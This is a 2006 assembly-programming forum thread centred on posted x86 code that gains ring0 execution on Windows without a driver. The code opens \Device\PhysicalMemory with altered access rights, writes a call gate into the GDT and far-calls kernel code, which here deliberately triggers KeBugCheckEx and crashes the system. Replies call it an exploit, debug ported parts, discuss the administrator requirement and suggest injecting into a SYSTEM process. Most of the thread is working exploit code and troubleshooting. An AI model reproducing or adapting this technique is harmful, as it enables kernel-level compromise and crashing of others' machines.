        pop             dword [eax+100*8]
        push            dword [callgate+4]
        pop             dword [eax+100*8+4]

        ; ok.. almost there.. prepare far call
        mov             word [farcall+4], 100*8+3       ; our callgate selector

        ; lock the ring0 code to minimize chance that it will be paged out
        ; well, it *can* be paged out, only code in nonpaged kernel pool *can't* be really paged...
        invoke          VirtualLock, ring0_proc, ring0_end-ring0_proc

        ; and.. jump!
        push            dword [ntoskrnl]
        call far [farcall]

        ; cleanup
        invoke          VirtualUnlock, ring0_proc, ring0_end-ring0_proc
        invoke          NtUnmapViewOfSection, -1, [map_base]
        stdcall         NtErrorTest, e_unmaps
        invoke          NtClose, [mem_section]
        ret
;--------------------------------------------------------------------
GetNtoskrnl:
        ; enum modules
        invoke          NtQuerySystemInformation, SystemModuleInformation, modinfo, SYSTEM_MODULE_INFORMATION_SIZE, 0
        stdcall         NtErrorTest, e_query
        mov             ebx, dword [modinfo]            ; count
        mov             esi, modinfo+4          ; 1st module

.1:                                                                     ; loop
        mov             edi, esi
        add             edi, SYSTEM_MODULE.ImageName
        invoke          PathFindFileName, edi
        or                      dword [eax], 20202020h  ; convert to lowercase
        cmp             dword [eax], 'ntos'
        jne             .2
        or                      dword [eax+4], 20202020h
        cmp             dword [eax+4], 'krnl'
        jne             .2
        or                      dword [eax+8], 20202020h
        cmp             dword [eax+8], '.exe'
        jne             .2

        ; ok, seems we have it (although should check for 0 at the end, maybe its `ntoskrnl.exe.blah' ;P)
        mov             eax, dword [esi+SYSTEM_MODULE.ImageBaseAddress] ; base in memory
        mov             [ntoskrnl], eax
        ret

.2:
        add             esi, SYSTEM_MODULE_SIZE
        dec             ebx
        jns             .1

        ; umm.. ntoskrnl not found - quite unlikely to happen ;]
        invoke          MessageBox, 0, e_ntos, 0, 0
        invoke          ExitProcess, 2
;--------------------------------------------------------------------
; substitute for MmGetPhysicalAddress - not always ok, but for this purpose sufficient
; input: linear address in eax
GetPhysicalAddress:
        cmp             eax, 0x80000000
        jae             .1
        cmp             eax, 0xA0000000
        jb                      .1
        and             eax, 0x0FFFF000
        ret
.1:
        and             eax, 0x1FFFF000
        ret
;--------------------------------------------------------------------
; maps memory using \Device\PhysicalMemory
MapMemory:
proc            base, size, access_mode
        mov             eax, base                       ; address
        xor             edx, edx
        push            eax
        div             dword [sys_info+SYSTEM_INFO.dwAllocationGranularity]    ; edx = offset
        mov             edi, edx
        pop             eax
        mov             ebx, size                       ; size
        inc             ebx
        mov             esi, ebx                                ; mapped size
        add             esi, edi
        sub             eax, edi
        call            GetPhysicalAddress
        mov             [phys_address], eax
        mov             [mapped_size], esi
        mov             eax, [mem_section]
        invoke          NtMapViewOfSection, eax, -1, map_base, 0, esi, phys_address, mapped_size, 1, 0, access_mode
        add             [map_base], edi
        invoke          NtErrorTest, e_maps
endp
;--------------------------------------------------------------------

proc    NtErrorTest, er_msg
        test            eax, eax
        jz                      .ok
        invoke          wsprintf, txtbuf, f_err, [er_msg], eax
        invoke          MessageBox, 0, txtbuf, m_caption, MB_ICONWARNING
        invoke          NtClose, [mem_section]
        invoke          ExitProcess, 1
.ok:
ret
endp
;--------------------------------------------------------------------

proc    ErrorTest,e_msg
        test            eax, eax
        jnz             .ok
        call            GetLastError
        invoke          wsprintf, txtbuf, f_err, [e_msg], eax
        invoke          MessageBox, 0, txtbuf, m_caption, MB_ICONWARNING
        invoke          NtClose, [mem_section]
        invoke          ExitProcess, 1
.ok:
ret
endp
;--------------------------------------------------------------------

proc    ErrorTestZ ,e1_msg
        test            eax, eax
        jz                      .ok
        call            GetLastError
        invoke  wsprintf, txtbuf, f_err, [e1_msg], eax
        invoke          MessageBox, 0, txtbuf, m_caption, MB_ICONWARNING
        invoke          NtClose, [mem_section]
        invoke          ExitProcess, 1
.ok:
ret
endp
;--------------------------------------------------------------------
; the real deal ;]
ring0_proc:
        cli
        mov             eax, [esp+8]                    ; param - ntoskrnl base

        push            ebx
        push            edx
        push            esi
        push            edi
; find KeBugCheckEx in exports
        mov             ebx, eax
        add             eax, [eax+0x3c]
        mov             edi, dword [eax+0x78]
        add             edi, ebx
        mov             esi, [edi+IMAGE_EXPORT_DIRECTORY.AddressOfNames]
        add             esi, ebx

        xor             edx, edx
.name:
        mov             eax, [esi]
        add             eax, ebx
        ; check function name
        cmp             dword [eax+00h], "KeBu"
        jne             .F
        cmp             dword [eax+04h], "gChe"
        jne             .F
        cmp             dword [eax+08h], "ckEx"
        jne             .F
        mov             eax, [edi+IMAGE_EXPORT_DIRECTORY.AddressOfOrdinals]
        add             eax, ebx
        movzx           esi, word [edx*2+eax]
        mov             eax, [edi+IMAGE_EXPORT_DIRECTORY.AddressOfFunctions]
        add             eax, ebx
        mov             esi, [esi*4+eax]
        add             esi, ebx
        jmp             .fnd
.F:
        add             esi, 4
        inc             edx
        cmp             edx, [edi+IMAGE_EXPORT_DIRECTORY.NumberOfNames]
        jne             .name
.fnd:
        mov             eax, esi

        pop             edi
        pop             esi
        pop             edx
        pop             ebx

;       int3
        stdcall         eax, 0xdeadbeef, 0xdead, 0xbeef, 0xcafe, 0xbabe
        retf 4
ring0_end:    


Description:
Download
Filename: ring0.zip
Filesize: 3.24 KB
Downloaded: 48 Time(s)

Post 04 Mar 2006, 21:40
View user's profile Send private message Reply with quote
madmatt



Joined: 07 Oct 2003
Posts: 1045
Location: Michigan, USA
madmatt
Excuse my ignorance, but what is this program supposed to do? I can see that it's very low level stuff, creating it's own gdt base and selector for something. I'd almost think it is the beginnings of a virus. Can any one correct me on this?
Post 05 Mar 2006, 01:05
View user's profile Send private message Reply with quote
r22



Joined: 27 Dec 2004
Posts: 805
r22
madmatt, it's an exploit in windows that allows you to run ring0 code without a driver.

If it's used wrongly it could be a virus, but by the same logic if DeleteFile api is used wrongly it could be a virus as well.

The WOW on Win XP 64bit doesn't allow this particular exploit to work, I wonder if a 64bit port of the functions would work or not.

Something like this will need to be found for Vista 64bit since homebrew drivers will be locked from ring0 access by Microsofts driver signing security feature.
Post 05 Mar 2006, 02:25
View user's profile Send private message AIM Address Yahoo Messenger Reply with quote
shism2



Joined: 14 Sep 2005
Posts: 248
shism2
Someone will find a way to get past that anyway

It's still not working anyway I can't get it to work...

At LocalFree it's supposed to create some sort of exception but it doesnt.
Post 05 Mar 2006, 03:08
View user's profile Send private message Reply with quote
madmatt



Joined: 07 Oct 2003
Posts: 1045
Location: Michigan, USA
madmatt
Oh, I see now. thanks.
Post 05 Mar 2006, 07:12
View user's profile Send private message Reply with quote
LocoDelAssembly
Your code has a bug


Joined: 06 May 2005
Posts: 4633
Location: Argentina
LocoDelAssembly
Someone checked \Device\PhysicalMemory permisions with WinObj? I don't see non privileged users on the list like other objects. Moreover note that administrators have no rights to read, write or delete, but, an administrator can change his own permissions, I suppose.
Post 05 Mar 2006, 15:30
View user's profile Send private message Reply with quote
shism2



Joined: 14 Sep 2005
Posts: 248
shism2
How the hell to fix this?
Post 05 Mar 2006, 16:50
View user's profile Send private message Reply with quote
okasvi



Joined: 18 Aug 2005
Posts: 382
Location: Finland
okasvi
can anyone spot something wrong here:

Code:
;--------------------------------------------------------------------
; maps memory using \Device\PhysicalMemory
MapMemory:      mov  ebp,esp
        pushad
;sproc          base, size, access_mode
        mov             eax, [ebp+4]                    ; base address
        xor             edx, edx
        push    eax
        div             dword [sys_info+SYSTEM_INFO.dwAllocationGranularity]    ; edx = offset
        mov             edi, edx
        pop             eax
        mov             ebx, [ebp+8]                    ; size
        inc             ebx
        mov             esi, ebx                                ; mapped size
        add             esi, edi
        sub             eax, edi
        call    GetPhysicalAddress
        mov             [phys_address], eax
        mov             [mapped_size], esi
        mov             eax, [mem_section]
        pushd   dword [ebp+12]
        pushd   0
        pushd   1
        pushd   mapped_size
        pushd   phys_address
        pushd   esi
        pushd   0
        pushd   map_base
        pushd   -1
        pushd   eax
        call    [NtMapViewOfSection]
        ;callf          NtMapViewOfSection, eax, -1, map_base, 0, esi, phys_address, mapped_size, 1, 0, access_mode
        add             [map_base], edi
        pushd   e_maps
        call    NtErrorTest
        ;callf          NtErrorTest, e_maps
        popad
        ret
;endsproc
;--------------------------------------------------------------------    


original in nasm:
Code:
;--------------------------------------------------------------------
; maps memory using \Device\PhysicalMemory
MapMemory:
sproc           base, size, access_mode
        mov             eax, base                       ; address
        xor             edx, edx
        push            eax
        div             dword [sys_info+SYSTEM_INFO.dwAllocationGranularity]    ; edx = offset
        mov             edi, edx
        pop             eax
        mov             ebx, size                       ; size
        inc             ebx
        mov             esi, ebx                                ; mapped size
        add             esi, edi
        sub             eax, edi
        call            GetPhysicalAddress
        mov             [phys_address], eax
        mov             [mapped_size], esi
        mov             eax, [mem_section]
        callf           NtMapViewOfSection, eax, -1, map_base, 0, esi, phys_address, mapped_size, 1, 0, access_mode
        add             [map_base], edi
        callf           NtErrorTest, e_maps
endsproc
;--------------------------------------------------------------------    


it compiles fine but when i run it the errorchecking proc says there is error Neutral

_________________
When We Ride On Our Enemies
support reverse smileys |:
Post 05 Mar 2006, 17:25
View user's profile Send private message MSN Messenger Reply with quote
velox



Joined: 06 Jan 2006
Posts: 14
velox
locodelassembly:
You're right, this doesn't work on non admin accounts.The code after ( ; modify access rights ;] ) grants access for reading/writing a section by processes not started by user SYSTEM. Maybe one could inject code
into a process which is run by user SYSTEM but this would need the SE_DEBUG_PRIVILEGE.
Post 05 Mar 2006, 17:27
View user's profile Send private message Reply with quote
shism2



Joined: 14 Sep 2005
Posts: 248
shism2
okasvi:

That code works fine the problem is..
here:

Code:
    invoke              LocalFree, p_sec_descr
        invoke          NtClose, [mem_section]

        ; ok.. now we have writable physical memory ;]
        ; open it in r/w mode
        invoke          NtOpenSection, mem_section, SECTION_MAP_READ OR SECTION_MAP_WRITE, obj_attr    
Post 05 Mar 2006, 17:41
View user's profile Send private message Reply with quote
okasvi



Joined: 18 Aug 2005
Posts: 382
Location: Finland
okasvi
are you sure? im getting over it without errors...

anyway read your pm's and add me to msn Smile

_________________
When We Ride On Our Enemies
support reverse smileys |:
Post 05 Mar 2006, 18:06
View user's profile Send private message MSN Messenger Reply with quote
LocoDelAssembly
Your code has a bug


Joined: 06 May 2005
Posts: 4633
Location: Argentina
LocoDelAssembly
Well this will not fix anything but makes code clearer

Code:
        s_mem_dev_uni   db              "\",0,"D",0,"e",0,"v",0,"i",0,"c",0,"e",0,"\",0,"P",0,"h",0,"y",0,"s",0
                                                db              "i",0,"c",0,"a",0,"l",0,"M",0,"e",0,"m",0,"o",0,"r",0,"y",0
    

Use this instead:
Code:
        s_mem_dev_uni   du              "\Device\PhysicalMemory"    


mmmm, now I see an error on this, unicode strings ends with double zero but you finished it with "y" instead. Maybe the "align 4" below this had saved your life (if align padds with zeros) but, to prevent future errors I suggest to use "du" for unicode strings.

Regards,
LocoDelAssembly
Post 05 Mar 2006, 18:21
View user's profile Send private message Reply with quote
okasvi



Joined: 18 Aug 2005
Posts: 382
Location: Finland
okasvi
thanks for the tip Smile

_________________
When We Ride On Our Enemies
support reverse smileys |:
Post 05 Mar 2006, 18:31
View user's profile Send private message MSN Messenger Reply with quote
Display posts from previous:
Post new topic Reply to topic

Jump to:  
Goto page 1, 2  Next

< Last Thread | Next Thread >
Forum Rules:
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
You cannot attach files in this forum
You can download files in this forum


Copyright © 1999-2020, Tomasz Grysztar. Also on GitHub, YouTube, Twitter.

Website powered by rwasa.